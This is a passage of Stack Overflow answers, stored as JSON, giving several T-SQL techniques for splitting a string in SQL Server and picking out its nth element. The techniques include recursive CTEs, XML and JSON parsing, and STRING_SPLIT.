href=\"https://sqlblog.org/2009/08/01/processing-a-list-of-integers-my-approach\" rel=\"nofollow noreferrer\">Processing a list of integers : my approach</a></li>\n<li><a href=\"https://sqlblog.org/2010/07/07/splitting-a-list-of-integers-another-roundup\" rel=\"nofollow noreferrer\">Splitting a list of integers : another roundup</a></li>\n<li><a href=\"https://sqlblog.org/2009/08/06/more-on-splitting-lists-custom-delimiters-preventing-duplicates-and-maintaining-order\" rel=\"nofollow noreferrer\">More on splitting lists : custom delimiters, preventing duplicates, and maintaining order</a></li>\n<li><a href=\"https://www.mssqltips.com/sqlservertip/4140/removing-duplicates-from-strings-in-sql-server/?utm_source=AaronBertrand\" rel=\"nofollow noreferrer\">Removing Duplicates from Strings in SQL Server</a></li>\n</ul>\n<p>On SQL Server 2016 or above, though, you should look at <a href=\"https://learn.microsoft.com/en-us/sql/t-sql/functions/string-split-transact-sql\" rel=\"nofollow noreferrer\"><code>STRING_SPLIT()</code></a> and <a href=\"https://learn.microsoft.com/en-us/sql/t-sql/functions/string-agg-transact-sql\" rel=\"nofollow noreferrer\"><code>STRING_AGG()</code></a>:</p>\n<ul>\n<li><a href=\"https://sqlperformance.com/2016/03/sql-server-2016/string-split\" rel=\"nofollow noreferrer\">Performance Surprises and Assumptions : STRING_SPLIT()</a></li>\n<li><a href=\"https://sqlperformance.com/2016/04/sql-server-2016/string-split-follow-up-1\" rel=\"nofollow noreferrer\">STRING_SPLIT() in SQL Server 2016 : Follow-Up #1</a></li>\n<li><a href=\"https://sqlperformance.com/2016/04/sql-server-2016/string-split-follow-up-2\" rel=\"nofollow noreferrer\">STRING_SPLIT() in SQL Server 2016 : Follow-Up #2</a></li>\n<li><a href=\"https://sqlperformance.com/2016/12/sql-performance/sql-server-v-next-string_agg-performance\" rel=\"nofollow noreferrer\">SQL Server v.Next : STRING_AGG() performance</a></li>\n<li><a href=\"https://www.mssqltips.com/sqlservertip/5275/solve-old-problems-with-sql-servers-new-stringagg-and-stringsplit-functions/?utm_source=AaronBertrand\" rel=\"nofollow noreferrer\">Solve old problems with SQL Server’s new STRING_AGG and STRING_SPLIT functions</a></li>\n</ul>\n" }, { "answer_id": 21159352, "author": "dani herrera", "author_id": 842935, "author_profile": "https://Stackoverflow.com/users/842935", "pm_score": 0, "selected": false, "text": "<p>Recursive CTE solution with server pain, <a href=\"http://sqlfiddle.com/#!3/9ebaa/1\" rel=\"nofollow\">test it</a></p>\n\n<p><strong>MS SQL Server 2008 Schema Setup</strong>:</p>\n\n<pre><code>create table Course( Courses varchar(100) );\ninsert into Course values ('Hello John Smith');\n</code></pre>\n\n<p><strong>Query 1</strong>:</p>\n\n<pre><code>with cte as\n ( select \n left( Courses, charindex( ' ' , Courses) ) as a_l,\n cast( substring( Courses, \n charindex( ' ' , Courses) + 1 , \n len(Courses ) ) + ' ' \n as varchar(100) ) as a_r,\n Courses as a,\n 0 as n\n from Course t\n union all\n select \n left(a_r, charindex( ' ' , a_r) ) as a_l,\n substring( a_r, charindex( ' ' , a_r) + 1 , len(a_R ) ) as a_r,\n cte.a,\n cte.n + 1 as n\n from Course t inner join cte \n on t.Courses = cte.a and len( a_r ) &gt; 0\n\n )\nselect a_l, n from cte\n--where N = 1\n</code></pre>\n\n<p><strong><a href=\"http://sqlfiddle.com/#!3/9ebaa/1/0\" rel=\"nofollow\">Results</a></strong>:</p>\n\n<pre><code>| A_L | N |\n|--------|---|\n| Hello | 0 |\n| John | 1 |\n| Smith | 2 |\n</code></pre>\n" }, { "answer_id": 22536373, "author": "Matt Watson", "author_id": 884742, "author_profile": "https://Stackoverflow.com/users/884742", "pm_score": -1, "selected": false, "text": "<p>Here is a SQL UDF that can split a string and grab just a certain piece.</p>\n\n<pre><code>create FUNCTION [dbo].[udf_SplitParseOut]\n(\n @List nvarchar(MAX),\n @SplitOn nvarchar(5),\n @GetIndex smallint\n) \nreturns varchar(1000)\nAS \n\nBEGIN\n\nDECLARE @RtnValue table \n(\n\n Id int identity(0,1),\n Value nvarchar(MAX)\n) \n\n\n DECLARE @result varchar(1000)\n\n While (Charindex(@SplitOn,@List)&gt;0)\n Begin\n Insert Into @RtnValue (value)\n Select Value = ltrim(rtrim(Substring(@List,1,Charindex(@SplitOn,@List)-1)))\n Set @List = Substring(@List,Charindex(@SplitOn,@List)+len(@SplitOn),len(@List))\n End\n\n Insert Into @RtnValue (Value)\n Select Value = ltrim(rtrim(@List))\n\n select @result = value from @RtnValue where ID = @GetIndex\n\n Return @result\nEND\n</code></pre>\n" }, { "answer_id": 23403089, "author": "Mohsen", "author_id": 514329, "author_profile": "https://Stackoverflow.com/users/514329", "pm_score": -1, "selected": false, "text": "<p>A simple optimized algorithm :</p>\n\n<pre><code>ALTER FUNCTION [dbo].[Split]( @Text NVARCHAR(200),@Splitor CHAR(1) )\nRETURNS @Result TABLE ( value NVARCHAR(50)) \nAS\nBEGIN\n DECLARE @PathInd INT\n Set @Text+=@Splitor\n WHILE LEN(@Text) &gt; 0\n BEGIN\n SET @PathInd=PATINDEX('%'+@Splitor+'%',@Text)\n INSERT INTO @Result VALUES(SUBSTRING(@Text, 0, @PathInd))\n SET @Text= SUBSTRING(@Text, @PathInd+1, LEN(@Text))\n END\n RETURN \nEND\n</code></pre>\n" }, { "answer_id": 25391776, "author": "Katherine Elizabeth Lightsey", "author_id": 1919621, "author_profile": "https://Stackoverflow.com/users/1919621", "pm_score": -1, "selected": false, "text": "<p>I've been using vzczc's answer using recursive cte's for some time, but have wanted to update it to handle a variable length separator and also to handle strings with leading and lagging \"separators\" such as when you have a csv file with records such as:</p>\n\n<p><strong>\"Bob\",\"Smith\",\"Sunnyvale\",\"CA\"</strong></p>\n\n<p>or when you are dealing with six part fqn's as shown below. I use these extensively for logging of the subject_fqn for auditing, error handling, etc. and parsename only handles four parts:</p>\n\n<pre><code>[netbios_name].[machine_name].[instance].[database].[schema].[table].[column]\n</code></pre>\n\n<p>Here is my updated version, and thanks to vzczc's for his original post!</p>\n\n<pre><code>select * from [utility].[split_string](N'\"this\".\"string\".\"gets\".\"split\".\"and\".\"removes\".\"leading\".\"and\".\"trailing\".\"quotes\"', N'\".\"', N'\"', N'\"');\n\nselect * from [utility].[split_string](N'\"this\".\"string\".\"gets\".\"split\".\"but\".\"leaves\".\"leading\".\"and\".\"trailing\".\"quotes\"', N'\".\"', null, null);\n\nselect * from [utility].[split_string](N'[netbios_name].[machine_name].[instance].[database].[schema].[table].[column]', N'].[', N'[', N']');\n\ncreate function [utility].[split_string] ( \n @input [nvarchar](max) \n , @separator [sysname] \n , @lead [sysname] \n , @lag [sysname]) \nreturns @node_list table ( \n [index] [int] \n , [node] [nvarchar](max)) \n begin \n declare @separator_length [int]= len(@separator) \n , @lead_length [int] = isnull(len(@lead), 0) \n , @lag_length [int] = isnull(len(@lag), 0); \n -- \n set @input = right(@input, len(@input) - @lead_length); \n set @input = left(@input, len(@input) - @lag_length); \n -- \n with [splitter]([index], [starting_position], [start_location]) \n as (select cast(@separator_length as [bigint]) \n , cast(1 as [bigint]) \n , charindex(@separator, @input) \n union all \n select [index] + 1 \n , [start_location] + @separator_length \n , charindex(@separator, @input, [start_location] + @separator_length) \n from [splitter] \n where [start_location] &gt; 0) \n -- \n insert into @node_list \n ([index],[node]) \n select [index] - @separator_length as [index] \n , substring(@input, [starting_position], case \n when [start_location] &gt; 0 \n then \n [start_location] - [starting_position] \n else \n len(@input) \n end) as [node] \n from [splitter]; \n -- \n return; \n end; \ngo \n</code></pre>\n" }, { "answer_id": 25511109, "author": "jjxtra", "author_id": 56079, "author_profile": "https://Stackoverflow.com/users/56079", "pm_score": 1, "selected": false, "text": "<p>Almost all the other answers are replacing the string being split which wastes CPU cycles and performs unnecessary memory allocations.</p>\n\n<p>I cover a much better way to do a string split here: <a href=\"http://www.digitalruby.com/split-string-sql-server/\" rel=\"nofollow noreferrer\">http://www.digitalruby.com/split-string-sql-server/</a></p>\n\n<p>Here is the code:</p>\n\n<pre><code>SET NOCOUNT ON\n\n-- You will want to change nvarchar(MAX) to nvarchar(50), varchar(50) or whatever matches exactly with the string column you will be searching against\nDECLARE @SplitStringTable TABLE (Value nvarchar(MAX) NOT NULL)\nDECLARE @StringToSplit nvarchar(MAX) = 'your|string|to|split|here'\nDECLARE @SplitEndPos int\nDECLARE @SplitValue nvarchar(MAX)\nDECLARE @SplitDelim nvarchar(1) = '|'\nDECLARE @SplitStartPos int = 1\n\nSET @SplitEndPos = CHARINDEX(@SplitDelim, @StringToSplit, @SplitStartPos)\n\nWHILE @SplitEndPos &gt; 0\nBEGIN\n SET @SplitValue = SUBSTRING(@StringToSplit, @SplitStartPos, (@SplitEndPos - @SplitStartPos))\n INSERT @SplitStringTable (Value) VALUES (@SplitValue)\n SET @SplitStartPos = @SplitEndPos + 1\n SET @SplitEndPos = CHARINDEX(@SplitDelim, @StringToSplit, @SplitStartPos)\nEND\n\nSET @SplitValue = SUBSTRING(@StringToSplit, @SplitStartPos, 2147483647)\nINSERT @SplitStringTable (Value) VALUES(@SplitValue)\n\nSET NOCOUNT OFF\n\n-- You can select or join with the values in @SplitStringTable at this point.\n</code></pre>\n" }, { "answer_id": 26867232, "author": "josejuan", "author_id": 1540749, "author_profile": "https://Stackoverflow.com/users/1540749", "pm_score": 3, "selected": false, "text": "<p>This pattern works fine and you can generalize</p>\n\n<pre><code>Convert(xml,'&lt;n&gt;'+Replace(FIELD,'.','&lt;/n&gt;&lt;n&gt;')+'&lt;/n&gt;').value('(/n[INDEX])','TYPE')\n ^^^^^ ^^^^^ ^^^^\n</code></pre>\n\n<p>note <strong>FIELD</strong>, <strong>INDEX</strong> and <strong>TYPE</strong>.</p>\n\n<p>Let some table with identifiers like</p>\n\n<pre><code>sys.message.1234.warning.A45\nsys.message.1235.error.O98\n....\n</code></pre>\n\n<p>Then, you can write</p>\n\n<pre><code>SELECT Source = q.value('(/n[1])', 'varchar(10)'),\n RecordType = q.value('(/n[2])', 'varchar(20)'),\n RecordNumber = q.value('(/n[3])', 'int'),\n Status = q.value('(/n[4])', 'varchar(5)')\nFROM (\n SELECT q = Convert(xml,'&lt;n&gt;'+Replace(fieldName,'.','&lt;/n&gt;&lt;n&gt;')+'&lt;/n&gt;')\n FROM some_TABLE\n ) Q\n</code></pre>\n\n<p>splitting and casting all parts.</p>\n" }, { "answer_id": 27351204, "author": "Andrew Hill", "author_id": 432976, "author_profile": "https://Stackoverflow.com/users/432976", "pm_score": 0, "selected": false, "text": "<p>while similar to the xml based answer by josejuan, i found that processing the xml path only once, then pivoting was moderately more efficient:</p>\n\n<pre><code>select ID,\n [3] as PathProvidingID,\n [4] as PathProvider,\n [5] as ComponentProvidingID,\n [6] as ComponentProviding,\n [7] as InputRecievingID,\n [8] as InputRecieving,\n [9] as RowsPassed,\n [10] as InputRecieving2\n from\n (\n select id,message,d.* from sysssislog cross apply ( \n SELECT Item = y.i.value('(./text())[1]', 'varchar(200)'),\n row_number() over(order by y.i) as rn\n FROM \n ( \n SELECT x = CONVERT(XML, '&lt;i&gt;' + REPLACE(Message, ':', '&lt;/i&gt;&lt;i&gt;') + '&lt;/i&gt;').query('.')\n ) AS a CROSS APPLY x.nodes('i') AS y(i)\n ) d\n WHERE event\n = \n 'OnPipelineRowsSent'\n ) as tokens \n pivot \n ( max(item) for [rn] in ([3],[4],[5],[6],[7],[8],[9],[10]) \n ) as data\n</code></pre>\n\n<p>ran in 8:30</p>\n\n<pre><code>select id,\ntokens.value('(/n[3])', 'varchar(100)')as PathProvidingID,\ntokens.value('(/n[4])', 'varchar(100)') as PathProvider,\ntokens.value('(/n[5])', 'varchar(100)') as ComponentProvidingID,\ntokens.value('(/n[6])', 'varchar(100)') as ComponentProviding,\ntokens.value('(/n[7])', 'varchar(100)') as InputRecievingID,\ntokens.value('(/n[8])', 'varchar(100)') as InputRecieving,\ntokens.value('(/n[9])', 'varchar(100)') as RowsPassed\n from\n(\n select id, Convert(xml,'&lt;n&gt;'+Replace(message,'.','&lt;/n&gt;&lt;n&gt;')+'&lt;/n&gt;') tokens\n from sysssislog \n WHERE event\n = \n 'OnPipelineRowsSent'\n ) as data\n</code></pre>\n\n<p>ran in 9:20</p>\n" }, { "answer_id": 27580011, "author": "Savas Adar", "author_id": 793880, "author_profile": "https://Stackoverflow.com/users/793880", "pm_score": 0, "selected": false, "text": "<pre><code>CREATE FUNCTION [dbo].[fnSplitString] \n( \n @string NVARCHAR(MAX), \n @delimiter CHAR(1) \n) \nRETURNS @output TABLE(splitdata NVARCHAR(MAX) \n) \nBEGIN \n DECLARE @start INT, @end INT \n SELECT @start = 1, @end = CHARINDEX(@delimiter, @string) \n WHILE @start &lt; LEN(@string) + 1 BEGIN \n IF @end = 0 \n SET @end = LEN(@string) + 1\n\n INSERT INTO @output (splitdata) \n VALUES(SUBSTRING(@string, @start, @end - @start)) \n SET @start = @end + 1 \n SET @end = CHARINDEX(@delimiter, @string, @start)\n\n END \n RETURN \nEND\n</code></pre>\n\n<p>AND USE IT</p>\n\n<pre><code>select *from dbo.fnSplitString('Querying SQL Server','')\n</code></pre>\n" }, { "answer_id": 27916227, "author": "Andrey Morozov", "author_id": 483408, "author_profile": "https://Stackoverflow.com/users/483408", "pm_score": 1, "selected": false, "text": "<p>Pure set-based solution using <code>TVF</code> with recursive <code>CTE</code>. You can <code>JOIN</code> and <code>APPLY</code> this function to any dataset.</p>\n\n<pre><code>create function [dbo].[SplitStringToResultSet] (@value varchar(max), @separator char(1))\nreturns table\nas return\nwith r as (\n select value, cast(null as varchar(max)) [x], -1 [no] from (select rtrim(cast(@value as varchar(max))) [value]) as j\n union all\n select right(value, len(value)-case charindex(@separator, value) when 0 then len(value) else charindex(@separator, value) end) [value]\n , left(r.[value], case charindex(@separator, r.value) when 0 then len(r.value) else abs(charindex(@separator, r.[value])-1) end ) [x]\n , [no] + 1 [no]\n from r where value &gt; '')\n\nselect ltrim(x) [value], [no] [index] from r where x is not null;\ngo\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>select *\nfrom [dbo].[SplitStringToResultSet]('Hello John Smith', ' ')\nwhere [index] = 1;\n</code></pre>\n\n<p>Result:</p>\n\n<pre><code>value index\n-------------\nJohn 1\n</code></pre>\n" }, { "answer_id": 28496048, "author": "nazim hatipoglu", "author_id": 807905, "author_profile": "https://Stackoverflow.com/users/807905", "pm_score": 0, "selected": false, "text": "<p><strong>if anyone wants to get only one part of the seperatured text can use this</strong></p>\n\n<p>select * from fromSplitStringSep('Word1 wordr2 word3',' ') </p>\n\n<pre><code>CREATE function [dbo].[SplitStringSep] \n(\n @str nvarchar(4000), \n @separator char(1)\n)\nreturns table\nAS\nreturn (\n with tokens(p, a, b) AS (\n select \n 1, \n 1, \n charindex(@separator, @str)\n union all\n select\n p + 1, \n b + 1, \n charindex(@separator, @str, b + 1)\n from tokens\n where b &gt; 0\n )\n select\n p-1 zeroBasedOccurance,\n substring(\n @str, \n a, \n case when b &gt; 0 then b-a ELSE 4000 end) \n AS s\n from tokens\n )\n</code></pre>\n" }, { "answer_id": 33146513, "author": "Ali CAKIL", "author_id": 3303448, "author_profile": "https://Stackoverflow.com/users/3303448", "pm_score": 0, "selected": false, "text": "<p>I devoloped this,</p>\n\n<pre><code>declare @x nvarchar(Max) = 'ali.veli.deli.';\ndeclare @item nvarchar(Max);\ndeclare @splitter char='.';\n\nwhile CHARINDEX(@splitter,@x) != 0\nbegin\n set @item = LEFT(@x,CHARINDEX(@splitter,@x))\n set @x = RIGHT(@x,len(@x)-len(@item) )\n select @item as item, @x as x;\nend\n</code></pre>\n\n<p>the only attention you should is dot '.' that end of the @x is always should be there.</p>\n" }, { "answer_id": 33299809, "author": "Stefan Steiger", "author_id": 155077, "author_profile": "https://Stackoverflow.com/users/155077", "pm_score": 2, "selected": false, "text": "<p>You can split a string in SQL without needing a function:</p>\n\n<pre><code>DECLARE @bla varchar(MAX)\nSET @bla = 'BED40DFC-F468-46DD-8017-00EF2FA3E4A4,64B59FC5-3F4D-4B0E-9A48-01F3D4F220B0,A611A108-97CA-42F3-A2E1-057165339719,E72D95EA-578F-45FC-88E5-075F66FD726C'\n\n-- http://stackoverflow.com/questions/14712864/how-to-query-values-from-xml-nodes\nSELECT \n x.XmlCol.value('.', 'varchar(36)') AS val \nFROM \n(\n SELECT \n CAST('&lt;e&gt;' + REPLACE(@bla, ',', '&lt;/e&gt;&lt;e&gt;') + '&lt;/e&gt;' AS xml) AS RawXml\n) AS b \nCROSS APPLY b.RawXml.nodes('e') x(XmlCol);\n</code></pre>\n\n<p>If you need to support arbitrary strings (with xml special characters)</p>\n\n<pre><code>DECLARE @bla NVARCHAR(MAX)\nSET @bla = '&lt;html&gt;unsafe &amp; safe Utf8CharsDon''tGetEncoded ÄöÜ - \"Conex\"&lt;html&gt;,Barnes &amp; Noble,abc,def,ghi'\n\n-- http://stackoverflow.com/questions/14712864/how-to-query-values-from-xml-nodes\nSELECT \n x.XmlCol.value('.', 'nvarchar(MAX)') AS val \nFROM \n(\n SELECT \n CAST('&lt;e&gt;' + REPLACE((SELECT @bla FOR XML PATH('')), ',', '&lt;/e&gt;&lt;e&gt;') + '&lt;/e&gt;' AS xml) AS RawXml\n) AS b \nCROSS APPLY b.RawXml.nodes('e') x(XmlCol); \n</code></pre>\n" }, { "answer_id": 34679417, "author": "Ramazan Binarbasi", "author_id": 2266524, "author_profile": "https://Stackoverflow.com/users/2266524", "pm_score": 3, "selected": false, "text": "<p>Yet another get n'th part of string by delimeter function:</p>\n\n<pre><code>create function GetStringPartByDelimeter (\n @value as nvarchar(max),\n @delimeter as nvarchar(max),\n @position as int\n) returns NVARCHAR(MAX) \nAS BEGIN\n declare @startPos as int\n declare @endPos as int\n set @endPos = -1\n while (@position &gt; 0 and @endPos != 0) begin\n set @startPos = @endPos + 1\n set @endPos = charindex(@delimeter, @value, @startPos)\n\n if(@position = 1) begin\n if(@endPos = 0)\n set @endPos = len(@value) + 1\n\n return substring(@value, @startPos, @endPos - @startPos)\n end\n\n set @position = @position - 1\n end\n\n return null\nend\n</code></pre>\n\n<p>and the usage:</p>\n\n<pre><code>select dbo.GetStringPartByDelimeter ('a;b;c;d;e', ';', 3)\n</code></pre>\n\n<p>which returns:</p>\n\n<pre><code>c\n</code></pre>\n" }, { "answer_id": 38275075, "author": "Shnugo", "author_id": 5089204, "author_profile": "https://Stackoverflow.com/users/5089204", "pm_score": 5, "selected": false, "text": "<p>This question is <strong>not about a string split approach</strong>, but about <strong>how to get the nth element</strong>.</p>\n<p>All answers here are doing some kind of string splitting using recursion, <code>CTE</code>s, multiple <code>CHARINDEX</code>, <code>REVERSE</code> and <code>PATINDEX</code>, inventing functions, call for CLR methods, number tables, <code>CROSS APPLY</code>s ... Most answers cover many lines of code.</p>\n<p>But - if you really <strong>want nothing more than an approach to get the nth element</strong> - this can be done as <strong>real one-liner</strong>, no UDF, not even a sub-select... And as an extra benefit: <strong>type safe</strong></p>\n<p>Get part 2 delimited by a space:</p>\n<pre><code>DECLARE @input NVARCHAR(100)=N'part1 part2 part3';\nSELECT CAST(N'&lt;x&gt;' + REPLACE(@input,N' ',N'&lt;/x&gt;&lt;x&gt;') + N'&lt;/x&gt;' AS XML).value('/x[2]','nvarchar(max)')\n</code></pre>\n<p>Of course <strong>you can use variables</strong> for delimiter and position (use <code>sql:column</code> to retrieve the position directly from a query's value):</p>\n<pre><code>DECLARE @dlmt NVARCHAR(10)=N' ';\nDECLARE @pos INT = 2;\nSELECT CAST(N'&lt;x&gt;' + REPLACE(@input,@dlmt,N'&lt;/x&gt;&lt;x&gt;') + N'&lt;/x&gt;' AS XML).value('/x[sql:variable(&quot;@pos&quot;)][1]','nvarchar(max)')\n</code></pre>\n<p>If your string might include <strong>forbidden characters</strong> (especially one among <code>&amp;&gt;&lt;</code>), you still can do it this way. Just use <code>FOR XML PATH</code> on your string first to replace all forbidden characters with the fitting escape sequence implicitly.</p>\n<p>It's a very special case if - additionally - <strong>your delimiter is the semicolon</strong>. In this case I replace the delimiter first to '#DLMT#', and replace this to the XML tags finally:</p>\n<pre><code>SET @input=N'Some &lt;, &gt; and &amp;;Other äöü@€;One more';\nSET @dlmt=N';';\nSELECT CAST(N'&lt;x&gt;' + REPLACE((SELECT REPLACE(@input,@dlmt,'#DLMT#') AS [*] FOR XML PATH('')),N'#DLMT#',N'&lt;/x&gt;&lt;x&gt;') + N'&lt;/x&gt;' AS XML).value('/x[sql:variable(&quot;@pos&quot;)][1]','nvarchar(max)');\n</code></pre>\n<h2>UPDATE for SQL-Server 2016+</h2>\n<p>Regretfully the developers forgot to return the part's index with <code>STRING_SPLIT</code>. But, using SQL-Server 2016+, there is <code>JSON_VALUE</code> and <code>OPENJSON</code>.</p>\n<p>With <code>JSON_VALUE</code> we can pass in the position as the index' array.</p>\n<p>For <code>OPENJSON</code> the <a href=\"https://learn.microsoft.com/en-us/sql/t-sql/functions/openjson-transact-sql?view=sql-server-2017\" rel=\"noreferrer\">documentation</a> states clearly:</p>\n<blockquote>\n<p>When OPENJSON parses a JSON array, the function returns the indexes of the elements in the JSON text as keys.</p>\n</blockquote>\n<p>A string like <code>1,2,3</code> needs nothing more than brackets: <code>[1,2,3]</code>.<br />\nA string of words like <code>this is an example</code> needs to be <code>[&quot;this&quot;,&quot;is&quot;,&quot;an&quot;,&quot;example&quot;]</code>.<br />\nThese are very easy string operations. Just try it out:</p>\n<pre><code>DECLARE @str VARCHAR(100)='Hello John Smith';\nDECLARE @position INT = 2;\n\n--We can build the json-path '$[1]' using CONCAT\nSELECT JSON_VALUE('[&quot;' + REPLACE(@str,' ','&quot;,&quot;') + '&quot;]',CONCAT('$[',@position-1,']'));\n</code></pre>\n<p>--See this for a position safe string-splitter (<em>zero-based</em>):</p>\n<pre><code>SELECT JsonArray.[key] AS [Position]\n ,JsonArray.[value] AS [Part]\nFROM OPENJSON('[&quot;' + REPLACE(@str,' ','&quot;,&quot;') + '&quot;]') JsonArray\n</code></pre>\n<p>In <a href=\"https://stackoverflow.com/a/56617711/5089204\">this post</a> I tested various approaches and found, that <code>OPENJSON</code> is really fast. Even much faster than the famous &quot;delimitedSplit8k()&quot; method...</p>\n<h2>UPDATE 2 - Get the values type-safe</h2>\n<p>We can use an <em>array within an array</em> simply by using doubled <code>[[]]</code>. This allows for a typed <code>WITH</code>-clause:</p>\n<pre><code>DECLARE @SomeDelimitedString VARCHAR(100)='part1|1|20190920';\n\nDECLARE @JsonArray NVARCHAR(MAX)=CONCAT('[[&quot;',REPLACE(@SomeDelimitedString,'|','&quot;,&quot;'),'&quot;]]');\n\nSELECT @SomeDelimitedString AS TheOriginal\n ,@JsonArray AS TransformedToJSON\n ,ValuesFromTheArray.*\nFROM OPENJSON(@JsonArray)\nWITH(TheFirstFragment VARCHAR(100) '$[0]'\n ,TheSecondFragment INT '$[1]'\n ,TheThirdFragment DATE '$[2]') ValuesFromTheArray\n</code></pre>\n" }, { "answer_id": 38366116, "author": "Smart003", "author_id": 3835573, "author_profile": "https://Stackoverflow.com/users/3835573", "pm_score": 0, "selected": false, "text": "<pre><code>declare @strng varchar(max)='hello john smith'\nselect (\n substring(\n @strng,\n charindex(' ', @strng) + 1,\n (\n (charindex(' ', @strng, charindex(' ', @strng) + 1))\n - charindex(' ',@strng)\n )\n ))\n</code></pre>\n" }, { "answer_id": 40344039, "author": "hello_earth", "author_id": 57033, "author_profile": "https://Stackoverflow.com/users/57033", "pm_score": 0, "selected": false, "text": "<p>building on @NothingsImpossible solution, or, rather, comment on the most voted answer (just below the accepted one), i found the following <strong>quick-and-dirty</strong> solution fulfill my own needs - it has a benefit of being solely within SQL domain.</p>\n\n<p>given a string \"first;second;third;fourth;fifth\", say, I want to get the third token. this works only if we know how many tokens the string is going to have - in this case it's 5. so my way of action is to chop the last two tokens away (inner query), and then to chop the first two tokens away (outer query)</p>\n\n<p>i know that this is ugly and covers the specific conditions i was in, but am posting it just in case somebody finds it useful. cheers</p>\n\n<pre><code>select \n REVERSE(\n SUBSTRING(\n reverse_substring, \n 0, \n CHARINDEX(';', reverse_substring)\n )\n ) \nfrom \n(\n select \n msg,\n SUBSTRING(\n REVERSE(msg), \n CHARINDEX(\n ';', \n REVERSE(msg), \n CHARINDEX(\n ';',\n REVERSE(msg)\n )+1\n )+1,\n 1000\n ) reverse_substring\n from \n (\n select 'first;second;third;fourth;fifth' msg\n ) a\n) b\n</code></pre>\n" }, { "answer_id": 46044428, "author": "Victor Hugo Terceros", "author_id": 8067407, "author_profile": "https://Stackoverflow.com/users/8067407", "pm_score": 0, "selected": false, "text": "<p>Starting with <strong>SQL Server 2016</strong> we <strong>string_split</strong></p>\n\n<pre><code>DECLARE @string varchar(100) = 'Richard, Mike, Mark'\n\nSELECT value FROM string_split(@string, ',')\n</code></pre>\n" }, { "answer_id": 48063226, "author": "uzr", "author_id": 1820424, "author_profile": "https://Stackoverflow.com/users/1820424", "pm_score": 0, "selected": false, "text": "<p>A modern approach using <a href=\"https://learn.microsoft.com/en-us/sql/t-sql/functions/string-split-transact-sql\" rel=\"nofollow noreferrer\">STRING_SPLIT</a>, requires SQL Server 2016 and above.</p>\n\n<pre><code>DECLARE @string varchar(100) = 'Hello John Smith'\n\nSELECT\n ROW_NUMBER() OVER (ORDER BY value) AS RowNr,\n value\nFROM string_split(@string, ' ')\n</code></pre>\n\n<p>Result:</p>\n\n<pre><code>RowNr value\n1 Hello\n2 John\n3 Smith\n</code></pre>\n\n<p>Now it is possible to get th nth element from the row number.</p>\n" }, { "answer_id": 49431435, "author": "zipppy", "author_id": 2639265, "author_profile": "https://Stackoverflow.com/users/2639265", "pm_score": 0, "selected": false, "text": "<p>Aaron Bertrand's answer is great, but flawed. It doesn't accurately handle a space as a delimiter (as was the example in the original question) since the length function strips trailing spaces. </p>\n\n<p>The following is his code, with a small adjustment to allow for a space delimiter:</p>\n\n<pre><code>CREATE FUNCTION [dbo].[SplitString]\n(\n @List NVARCHAR(MAX),\n @Delim VARCHAR(255)\n)\nRETURNS TABLE\nAS\n RETURN ( SELECT [Value] FROM \n ( \n SELECT \n [Value] = LTRIM(RTRIM(SUBSTRING(@List, [Number],\n CHARINDEX(@Delim, @List + @Delim, [Number]) - [Number])))\n FROM (SELECT Number = ROW_NUMBER() OVER (ORDER BY name)\n FROM sys.all_objects) AS x\n WHERE Number &lt;= LEN(@List)\n AND SUBSTRING(@Delim + @List, [Number], LEN(@Delim+'x')-1) = @Delim\n ) AS y\n );\n</code></pre>\n" }, { "answer_id": 49669994, "author": "Gorgi Rankovski", "author_id": 632604, "author_profile": "https://Stackoverflow.com/users/632604", "pm_score": 3, "selected": false, "text": "<p>If your database has compatibility level of 130 or higher then you can use the <a href=\"https://learn.microsoft.com/en-us/sql/t-sql/functions/string-split-transact-sql\" rel=\"nofollow noreferrer\">STRING_SPLIT</a> function along with <a href=\"https://technet.microsoft.com/en-us/library/gg699618(v=sql.110).aspx\" rel=\"nofollow noreferrer\">OFFSET FETCH</a> clauses to get the specific item by index.</p>\n\n<p>To get the item at <strong>index N</strong> (zero based), you can use the following code</p>\n\n<pre><code>SELECT value\nFROM STRING_SPLIT('Hello John Smith',' ')\nORDER BY (SELECT NULL)\nOFFSET N ROWS\nFETCH NEXT 1 ROWS ONLY\n</code></pre>\n\n<p>To check the <a href=\"https://learn.microsoft.com/en-us/sql/relational-databases/databases/view-or-change-the-compatibility-level-of-a-database\" rel=\"nofollow noreferrer\">compatibility level of your database</a>, execute this code:</p>\n\n<pre><code>SELECT compatibility_level \nFROM sys.databases WHERE name = 'YourDBName';\n</code></pre>\n" }, { "answer_id": 50051953, "author": "VinceL", "author_id": 9550018, "author_profile": "https://Stackoverflow.com/users/9550018", "pm_score": 0, "selected": false, "text": "<p>Here is a function that will accomplish the question's goal of splitting a string and accessing item X:</p>\n\n<pre><code>CREATE FUNCTION [dbo].[SplitString]\n(\n @List VARCHAR(MAX),\n @Delimiter VARCHAR(255),\n @ElementNumber INT\n)\nRETURNS VARCHAR(MAX)\nAS\nBEGIN\n\n DECLARE @inp VARCHAR(MAX)\n SET @inp = (SELECT REPLACE(@List,@Delimiter,'_DELMTR_') FOR XML PATH(''))\n\n DECLARE @xml XML\n SET @xml = '&lt;split&gt;&lt;el&gt;' + REPLACE(@inp,'_DELMTR_','&lt;/el&gt;&lt;el&gt;') + '&lt;/el&gt;&lt;/split&gt;'\n\n DECLARE @ret VARCHAR(MAX)\n SET @ret = (SELECT\n el = split.el.value('.','varchar(max)')\n FROM @xml.nodes('/split/el[string-length(.)&gt;0][position() = sql:variable(\"@elementnumber\")]') split(el))\n\n RETURN @ret\n\nEND\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code>SELECT dbo.SplitString('Hello John Smith', ' ', 2)\n</code></pre>\n\n<p>Result:</p>\n\n<pre><code>John\n</code></pre>\n" }, { "answer_id": 51936971, "author": "Sam K", "author_id": 5100074, "author_profile": "https://Stackoverflow.com/users/5100074", "pm_score": 0, "selected": false, "text": "<p><strong>SIMPLE SOLUTION FOR PARSING FIRST AND LAST NAME</strong></p>\n\n<pre><code>DECLARE @Name varchar(10) = 'John Smith'\n\n-- Get First Name\nSELECT SUBSTRING(@Name, 0, (SELECT CHARINDEX(' ', @Name)))\n\n-- Get Last Name\nSELECT SUBSTRING(@Name, (SELECT CHARINDEX(' ', @Name)) + 1, LEN(@Name))\n</code></pre>\n\n<p>In my case (and in many others it seems...), I have a list of first and last names separated by a single space. This can be used directly inside a select statement to parse first and last name.</p>\n\n<pre><code>-- i.e. Get First and Last Name from a table of Full Names\nSELECT SUBSTRING(FullName, 0, (SELECT CHARINDEX(' ', FullName))) as FirstName,\nSUBSTRING(FullName, (SELECT CHARINDEX(' ', FullName)) + 